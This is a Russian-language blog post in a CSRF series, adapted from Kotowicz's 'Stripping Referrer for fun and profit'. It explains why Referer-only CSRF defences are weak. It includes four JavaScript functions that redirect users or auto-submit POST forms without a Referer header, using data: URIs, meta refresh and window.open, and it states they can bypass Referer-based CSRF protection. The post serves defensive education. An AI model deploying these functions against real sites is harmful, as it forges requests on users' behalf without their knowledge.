Уязвимость CSRF. Скрываем Referer при редиректе

Оставьте свой комментарий

Здравствуйте.

Сегодня я дополню цикл статей про CSRF. Но теперь я буду плавно переходить на «ту сторону баррикад». Как говорится кто предупрежден, тот вооружен. Если разработчик будет знать как орудует злоумышленник то он будет знать как и от чего защищаться.

Эта статья является переработанным переводом статьи «Stripping Referrer for fun and profit» зарубежного автора Krzysztof Kotowicz. Мне понравились методы используемые в его статье и я хочу поделится ими с вами. Обращу ваше внимание что это все же переработанный перевод, так как часть материала предложенного в оригинале я уже изложил у себя в статьях, и дублировать его я смысла не вижу.

В общем если вас интересует как отредеректить пользователя без указания Referer то прошу под кат :)

Что такое реферер?

Referer — это небольшая часть информации, которую браузер посылает на сервер, когда вы переходите по ссылке с одного сайта на другой. Это полезно для разработчиков. К примеру они могут определить что посетитель пришел к вам на сайт из поисковых систем и затем адаптировать страницы сайта под ваш запрос. Но отчасти это можно назвать и утечкой личной информации, поэтому все браузеры имеют возможность отключить передачу Referer. Но так или иначе сам заголовок может быть интересен с точки зрения безопасности.

Пример использования реферера

Иногда реферер используется в качестве механизма контроля доступа. А началось все с ссылок на чужой контент. Спам сайты начали добавлять чужой контент (например, изображения) с других сайтов, простой вставкой<img src="http://original-website.example.com/image.jpg" alt="" /> Для поситителей это было не заметно, и спам страница выглядела для них вполне легально, но этим самым она воровала пропускную способность (и контент) оригинального сайта. Чтобы не допустить этого, разработчики начали проверку заголовка Referer, который передавал браузер. Если URL реферера содержал оригинальный веб-сайт, то сервер вернет изображение. Если реферер содержал адрес другого сайта то сервер возвращал ошибку.

Подходим к CSRF

Затем появилась CSRF. Любой веб-сайт может отправить потенциально опасные запросы к уязвимым сайтам и, например, удалить аккаунт на уязвимом сайте, изменить адрес электронной почты или настроить почтовый фильтр и прочее в тайне от пользователя. Некоторые веб-разработчики стали добавлять простой механизм защиты: они стали проверять реферер! Осуществлялась эта проверка следующим образом:

  • Если Referer содержит адрес своего хоста то обрабатываем запрос
  • В других случаях запрос блокируется

Казалось бы задача решена. Только допустимые страницы могут слать успешные запросы. Но появилась одна проблема — что делать с пользователями у которых отключен Referer? Они просто не смогут пользоваться данным приложением так как их запросы будут блокироваться. Во многих системах это было решено следующим образом: подобная ситуация с отсутствием реферера трактовалась в сторону пользователя и запрос считался легальным и поступал на обработку.

Скрываем Referer

Такое решение проблемы создало огромную дыру в безопасности и злоумышленники начали искать способы этим воспользоваться. Было предложенно несколько методов подобного сокрытия но с использованием серверных технологий редиректа. Но данные методы мало интересны так как они довольно известны. Я же хочу предложить вам другой вариант — возможность редиректа пользователя с генерацией произвольного GET или POST запроса только со стороны клиента на чистом яваскрипте.
Вот примеры реализаций:

function lose_in_webkit(url) {
// chrome loses it in data uris
location = "data:text/html,<script>location='" + url + '&_=' + Math.random() + "'</scr"+"ipt>";
return false;
}


function lose_in_ie(url) {
// ie loses referer in window.open()
window.open(url + '&_='+Math.random());
}


function lose_in_ff(url) {
// ff needs data:uri AND meta refresh. Firefox, WebKit and Opera
location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url='+ url + '"></html>';
}


function post_and_lose(url) {
// POST request, WebKit & Firefox. Data, meta & form submit trinity
location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,<form id=f method=post action=\''+url+'\'></form><script>document.getElementById(\'f\').submit()</scri'+'pt>"></html>';
}

И собственно модифицируя данные способы можно обходить защиту от CSRF построенную на базе проверки Referer.

Заключение

Прим. переводчика: надеюсь вы теперь поняли почему я утверждал в прошлой статье что защита от CSRF только на основе проверки Referer небезопасна?

Читайте также:

  1. Уязвимость CSRF. Введение
  2. Уязвимость CSRF. Защита
  3. Уязвимость CSRF. Скрываем Referer при редиректе

PS: продолжение следует :)

Добавить комментарий

Прочли запись? Понравилась? Не стесняйтесь, оставьте, пожалуйста, свой комментарий. Мне очень интересно, что вы думаете об этом. Кстати в комментарии вы можете задать мне любой вопрос. Я обязательно отвечу.

Вы можете оставить коментарий анонимно, для этого можно не указывать Имя и email. Все комментарии проходят модерацию, поэтому ваш комментарий появится не сразу.